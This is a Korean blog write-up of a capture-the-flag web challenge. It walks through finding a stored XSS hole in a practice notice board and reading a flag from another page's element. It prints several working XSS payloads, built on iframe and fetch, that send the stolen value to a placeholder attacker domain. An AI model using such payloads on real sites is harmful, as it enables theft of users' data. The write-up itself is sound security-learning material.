[1]Reconnaissance
문제로 알 수 있는 것은 다음과 같습니다.
-Mypage 정보란에 flag가 존재합니다.
-Basic Script Prac과 Steal Info를 합친 문제입니다.
1)Page Reconnaissance
[1]path: http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php
-mypage.php의 요소에 대해서 Basic Script Prac 문제에서 설명했으므로 간단하게 설명하겠습니다.
*Basic Script Prac: https://x4uiry.tistory.com/47
-추출해야 할 값은 <input name="info" type="text" id="userInfo" placeholder="Nothing Here...">에서 placeholder 값으로 이는 document.getElementById('userInfo').placeholder 로 추출할 수 있습니다. 이는 DOM 개체에 접근하여 정보를 추출하는 방식입니다.
[2]path: http://ctf.segfaulthub.com:4343/scriptPrac2/notice_list.php
-Stored XSS가 자주 발생하는 게시판쪽을 살펴보기 위해 notice_list.php에 방문하였습니다. 글쓰기를 누르면 글을 작성할 수 있습니다.
-입력값은 notice_write_process.php로 전송된 후, notice_read에서 파라미터 값으로 식별하여 출력됩니다.
[2]Exploit
1)Exploit Plan
-XSS Exploit Plan은 다음과 같습니다.
- 입력값이 응답되는 곳을 찾고 입력값이 그대로 삽입되는지 확인
- 특수문자 bracket(< >), single quote('), double quote(")가 HTML Entity 치환되지 않고 처리되는지 확인
- XSS가 발생하는지 알 수 있는 스크립트 alert 구문을 삽입하여 작동되는지 확인
- 목적에 맞게 스크립트를 작성하여 삽입 후 실행
-이 중 1단계는 Reconnaissance 단계에서 notice_process.php 의 입력값과 notice_read.php의 출력값을 확인하는 것을 알았습니다.
2)Check special characters replaced by HTML Entity
-특수문자의 HTML Entity 치환 단계를 알아보는 것은 사용할 페이로드를 결정하기 때문에 매우 중요한 단계입니다.
-notice_process.php에서 전송된 <"'>은 notice_read.php 응답으로 살펴볼 수 있습니다.
-응답을 보면 제목과 내용의 해석이 다르게 된 것을 볼 수 있는데, 제목은 HTML Entity 처리되어 bracket(< >)이 < > 로 치환된 것을 볼 수 있습니다. 하지만 내용 부분은 HTML Entity 처리가 되지 않은 것을 보아 여기에서 XSS가 발생할 가능성이 높습니다.
3)Check XSS with alert()
-사실 이 부분부터는 DOM을 이용해서 가져와야하는 정보가 있는 경로와 개체 빼곤 'Steal Info'와 같습니다.
-script와 alert을 이용해 alert(1)을 실행시키는 것을 먼저 테스트해보고, Reconnaissance 단계에서 찾은 추출해야 할 값의 DOM 접근을 이용해 alert을 실행시키는 것을 테스트하는 순서로 계획을 세웠습니다.
-notice_read.php의 응답에서 내용 부분을 보면 <script>alert(1)</script>이 삽입되어, alert(1)이 실행된 모습입니다. 따라서 script, alert 등의 단어에 대한 치환 및 필터링은 없었습니다.
-이제 외부에 있는 정보를 가져와야 합니다.
1.iframe 사용
-iframe 태그는 아래와 같이 사용할 수 있으며, src에 삽입되는 url 화면을 액자처럼 작은 창으로 가져옵니다.
-Reconnaissance 단계에서 document.getElement 구문으로 태그를 조회한 방법처럼 iframe 태그 안에 식별할 수 있는 id 속성과 값을 넣고 이를 script 태그에서 document.getElementById로 조회한 값을 변수에 저장하고 변수.contentDocument.getElementBy...을 이용하여 iframe으로 불러온 url 안의 태그를 조회할 수 있습니다.
-이를 이용하여 iframe으로 가져올 정보가 있는 페이지를 띄우고 id 속성에 "target"이란 값을 삽입합니다. 이를 document.getElementById('target')으로 가져오고 변수 targetTag에 저장한 다음 targetTag.contentDocument.getElementById('userInfo').placeholder; 로 flag를 추출하는 로직을 세울 수 있습니다.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="target"></iframe>
<script>window.addEventListener('DOMContentLoaded', function(){
var targetTag = document.getElementById('target');
let flag = targetTag.contentDocument.getElementById('userInfo').placeholder;
alert(flag);});
</script>
-window.addEventListner로 'DOMContentLoaded'로 DOM이 다 로드된 이후 구문을 실행해야 아래와 같은 undefiened error가 발생하지 않습니다.
-alert으로 "Nothing Here..."가 잘 출력되는 것을 볼 수 있습니다.
4)Insert and Run XSS
-이제 img 객체의 참조 주소에 정보를 담아 보낼것인지, location.href로 페이지를 이동하여 정보를 전달할 것인지 선택하면 됩니다.
*물론 input tag의 onfocus 이벤트 핸들러나 img 태그의 onerror 등의 이벤트 핸들러 이용도 가능하지만 그 방식도 결국 스크립트는 비슷합니다.
[1]iframe - img.src
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="target"></iframe>
<script>window.addEventListener('DOMContentLoaded', function(){
var targetTag = document.getElementById('target');
var flag = targetTag.contentDocument.getElementById("userInfo").placeholder;
var i = new Image();
i.src = "https://{attacker_domain}/?flag="+flag;});
</script>
[2]iframe - location.href
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="target"></iframe>
<script>window.addEventListener('DOMContentLoaded', function(){
var targetTag = document.getElementById('target');
var flag = targetTag.contentDocument.getElementById("userInfo").placeholder;
location.href = "https://{attacker_domain}/?flag="+flag;});
</script>
-내용에 XSS를 삽입하고, 글을 쓴 다음 글이 있는 url을 관리자 봇에게 전달하여 flag를 얻을 수 있습니다.
[3]fetch - img.src
-fetch란 JavaScript에서 네트워크 요청을 보내는 API로 이를 활용해 정보를 추출할 URL을 방문하고 응답데이터를 DOM으로 변환하여 정보를 추출한 다음, 공격자의 서버로 전송하는 순서입니다.
<script>
fetch('http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php')
.then(response => response.text())
.then(html => {
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let data = doc.getElementById('userInfo').placeholder;
var i = new Image();
i.src = "https://{attacker_domain}/?flag="+data;
})
</script>
[4]fetch - location.replace
<script>
fetch('http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php')
.then(response => response.text())
.then(html => {
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let data = doc.doc.getElementById('userInfo').placeholder;
location.replace('https://{attacker_domain}/?data='+data);
})
</script>
[추가적인 의문점]
-'Steal Info'와 같이 'Steal Info 2'에서도 같은 의문이 있었습니다. fetch를 사용해서 페이로드를 작성할 당시, tryhackme에서 사용했던 페이로드가 생각나서 이를 활용했었는데 결과적으로 완전히 잘 작동하지는 않았습니다.
*Whyhackme : https://x4uiry.tistory.com/39
WhyHackMe
[1]Analysis-아이콘으로 방화벽이 보입니다. nmap results-sS 옵션은 SYN 스캔을 하는 옵션이고, 모든 포트를 스캔하며, 최소 탐색시간을 10000으로 두었습니다.-sV와 -O 옵션으로 버전과 운영체제에 대해
x4uiry.tistory.com
<script>
fetch('http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php')
.then(response => response.text())
.then(html => {
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let data = doc.getElementById('userInfo').placeholder;
fetch('https://{attacker_domain}/?data='+data);
})
</script>
-위 구문은 로컬에서 접근하면 100% 성공하지만, 관리자 봇에서는 5번 보내면 2번정도 성공합니다.
-여러가지 테스트에서 두 fetch 구문을 window.addEventListenr('DOMContentLoaded 혹은 setTimeout 을 걸거나, 마지막 fetch 구문에 window.addEventListenr('DOMContentLoaded나 setTimeout을 걸었을때 모두 실패하였고, 아무제한이 없는 위 구문이 가끔 성공했습니다.
-또한 setTimeout에서 지연시간을 0으로 했을때 다시 성공한 것으로 보아, 관리자 봇이 selenium으로 작동하고 그 작동시간이 스크립트의 실행시간에 거의 근접하기 때문으로 추측하고 있습니다.
[3]Flag
'write-up > web' 카테고리의 다른 글
Get Admin 1 (0) | 2024.07.06 |
---|---|
SQLHell (0) | 2024.07.05 |
Steal Info (0) | 2024.06.29 |
Basic Script Prac (0) | 2024.06.28 |
SQL Injection Point 4 (0) | 2024.06.11 |